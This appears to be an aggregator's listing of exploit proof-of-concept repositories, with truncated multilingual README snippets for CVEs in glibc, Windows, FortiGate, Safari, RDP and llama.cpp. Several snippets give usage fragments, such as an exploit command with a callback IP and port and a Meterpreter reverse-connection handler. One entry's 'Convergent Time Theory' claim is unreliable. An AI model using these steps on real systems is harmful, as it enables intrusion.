CVE-2023-4911

CVE-2023-4911 - Looney Tunables Ceci est une preuve de concept encore très grossière pour CVE-2023-4911. Pour l'instant, je n'ai vérifié son fonctionnement que sur Ubuntu 22.10 kinetic. La version actuelle de l'exploit contient un certain nombre de décalages "magiques". Si vous avez des suggestio...

CVE-2022-37969

CVE-2022-37969 Windows Local Privilege Escalation PoC auteurs : Ricardo Narvaja & Daniel Kazimirow Solid À des fins de démonstration uniquement. L'exploit complet fonctionne sur les systèmes vulnérables Windows 11 21H2. PoC fonctionnel basé sur les informations précédemment publiées par Zscaler...

CVE-2023-27997

CVE-2023-27997 Данный код эксплуатирует FortiGate VM64 7.2.0. обратите внимание, что код написан очень глупым способом. Доказательство концепции root@kitploit: $ python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 + generating shellcode + salt=b'25c2dcf2' + processing hash + finding has...

cve-2019-0708_bluekeep_rce

Esegui msfconsole meterpreter/multi/handler in ascolto su 192.168.116.133:6000 2. cd rdesktop-1.5.0 && make 3. Modifica config, configura l'IP e la porta per la connessione di ritorno 192.168.116.133 6000 4. Esegui ./heapspray 192.168.116.134 134 è l'indirizzo di XP, memoria = 2 GB 5. msfconsole...

CVE-2018-4121

CVE-2018-4121 - Exploit POC RCE delle sezioni Wasm di Safari di MWR Labs c 2018 Dettagli questo exploit proof of concept ha come target solo Safari 11.0.3 13604.5.6 su macOS 10.13.3 17D47. compila il payload desiderato come dylib con un costruttore esegui python filetojsarray.py your.dylib...

0day-security-software-vulnerability-analysis-technology

0day-security-software-vulnerability-analysis-technology Note sull'uso del pacchetto di materiali allegato al libro 《0day安全：软件漏洞分析技术（第二版）》 I materiali contenuti nel pacchetto sono forniti esclusivamente a scopo di apprendimento. Nessuna organizzazione, persona o ente può utilizzare i materiali de...

Foxit-Precise-Heap-Spray

Este repositorio nao tem um README...

Ruby_Pricise_Heap_Spray

RubyPriciseHeapSpray Verwende Ruby-Strings, um in einer Win7-Umgebung einen präzisen Heap-Spray durchzuführen. ps. 0c0c0c0c Du musst die letzte Iterationszahl anpassen, je nachdem, wie oft du die Spray-Funktion aufrufst. Das liegt daran, wie Ruby funktioniert.... Grundsätzlich löscht Ruby alle...

cve-2021-29627

CVE-2021-29627 Etwas Code, um den Bug auszulösen, inkl. macsetfd spray. Braucht aber ein spray target...

CVE-2025-62215_Windows_Kernel_PE

CVE-2025-62215 Exploit PoC Originalcode-Credit: https://github.com/dexterm300 🧨 Beschreibung Dieses Repository enthält einen Proof-of-Concept-Exploit für CVE-2025-62215 , eine Race-Condition -Sicherheitslücke im Windows-Kernel, die durch gleichzeitige Manipulation von Kernel-Object-Handles...

CTT-Vsyslog-Vortex-CVE-2023-6246

CTT-Vsyslog-Vortex-CVE-2023-6246 CVE-2023-6246 è un overflow di heap nel buffer di glibc vsysloginternal sfruttato tramite la Convergent Time Theory α = 0.0302011. Uno spray heap temporale a 33 strati con trigger bloccato in fase per un affidabile escalation dei privilegi locali. README.md...

CVE-2018-4121

CVE-2018-4121 - Safari Wasm Sections POC RCE Exploit من إعداد MWR Labs c 2018 التفاصيل يستهدف استغلال إثبات المفهوم هذا إصدارات Safari 11.0.3 13604.5.6 على macOS 10.13.3 17D47 فقط. قم بتجميع الحمولة payload التي تختارها كملف dylib مع مُنشئ constructor شغّل python filetojsarray.py your.dylib...

CVE-2026-42945-NGINX-Rift-Toolkit

CVE-2026-42945 Toolkit per la Vulnerabilità Nginx Rift Toolkit completo per la scansione, la correzione e il test di CVE-2026-42945 - una vulnerabilità RCE critica in nginx Indice dei Contenuti Panoramica Dettagli CVE Caratteristiche Componenti del Toolkit Requisiti Installazione Utilizzo Esempi ...

CVE-2025-50165-x64-Exploit

CVE-2025-50165 Componente Grafico Windows RCE x64 Esecuzione remota di codice critica tramite JPEG malevolo – Windows 11 24H2 senza patch CVSS 9.8 – Nessun privilegio, nessuna interazione richiesta root@kitploit: CVE-2025-50165 - windowscodecs.dll dereferenza di puntatore non attendibile Scoperto...

DEBIAN-CVE-2026-70640

llama.cpp builds b1886 through b7445 contain a race condition use-after-free vulnerability in the LLaMA-Android JNI wrapper where bench1model and free1context lack synchronization, allowing Thread A to operate on freed memory while Thread B concurrently frees the llamacontext. Attackers can explo...

CVE-2026-70640

llama.cpp builds b1886 through b7445 contain a race condition use-after-free vulnerability in the LLaMA-Android JNI wrapper where bench1model and free1context lack synchronization, allowing Thread A to operate on freed memory while Thread B concurrently frees the llamacontext. Attackers can explo...

CVE-2026-70640 llama.cpp b1886–b7445 Race Condition Use-After-Free via llama-android.cpp

llama.cpp builds b1886 through b7445 contain a race condition use-after-free vulnerability in the LLaMA-Android JNI wrapper where bench1model and free1context lack synchronization, allowing Thread A to operate on freed memory while Thread B concurrently frees the llamacontext. Attackers can explo...

CVE-2026-70640

llama.cpp builds b1886 through b7445 contain a race condition use-after-free vulnerability in the LLaMA-Android JNI wrapper where bench1model and free1context lack synchronization, allowing Thread A to operate on freed memory while Thread B concurrently frees the llamacontext. Attackers can explo...

CVE-2026-70640

The CVE-2026-70640 issue affects llama.cpp builds b1886–b7445, with a race condition in the LLaMA-Android JNI wrapper: bench_1model() and free_1context() lack synchronization, allowing a thread to operate on freed llama_context memory. Attackers could perform heap spray using attacker-controlled ...

CVE-2026-70640 llama.cpp b1886–b7445 Race Condition Use-After-Free via llama-android.cpp

llama.cpp builds b1886 through b7445 contain a race condition use-after-free vulnerability in the LLaMA-Android JNI wrapper where bench1model and free1context lack synchronization, allowing Thread A to operate on freed memory while Thread B concurrently frees the llamacontext. Attackers can explo...